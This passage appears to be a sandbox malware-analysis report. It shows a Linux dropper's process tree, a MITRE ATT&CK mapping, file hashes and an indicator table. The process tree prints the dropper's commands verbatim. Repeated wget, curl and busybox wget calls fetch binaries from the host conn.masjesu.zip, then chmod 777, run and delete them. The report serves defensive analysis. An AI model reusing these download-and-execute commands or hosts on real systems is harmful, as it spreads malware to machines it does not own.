  rm Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
  chmod 777 QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  ./QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  ./Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - System Network Configuration Discovery
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:990
- /bin/chmod
  chmod 777 trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  ./trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - System Network Configuration Discovery
  PID:997
- /bin/chmod
  chmod 777 HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  ./HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:999
- /bin/rm
  rm HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - System Network Configuration Discovery
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  PID:1004
- /bin/chmod
  chmod 777 bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  ./bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  PID:1007
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1009
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /bin/chmod
  chmod 777 91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  ./91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1013
- /bin/rm
  rm 91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  PID:1014

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC

Path /tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC	746	HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
/tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW	753	bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
/tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA	776	91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
/tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X	805	F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
/tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS	819	BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
/tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7	829	mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
/tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC	842	bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
/tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA	873	RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
/tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7	880	4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
/tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T	887	v0pEtWKeezpmnamk32qzwknotYpeEPG15T
/tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp	894	Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
/tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML	901	QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
/tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C	908	Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
/tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l	915	trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
/tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X	922	F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
/tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS	929	BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
/tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7	936	mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
/tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC	943	bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
/tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA	950	RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
/tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7	957	4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
/tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T	964	v0pEtWKeezpmnamk32qzwknotYpeEPG15T
/tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp	971	Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
/tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML	978	QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
/tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C	985	Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
/tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l	992	trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
/tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC	999	HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
/tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW	1006	bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
/tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA	1013	91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA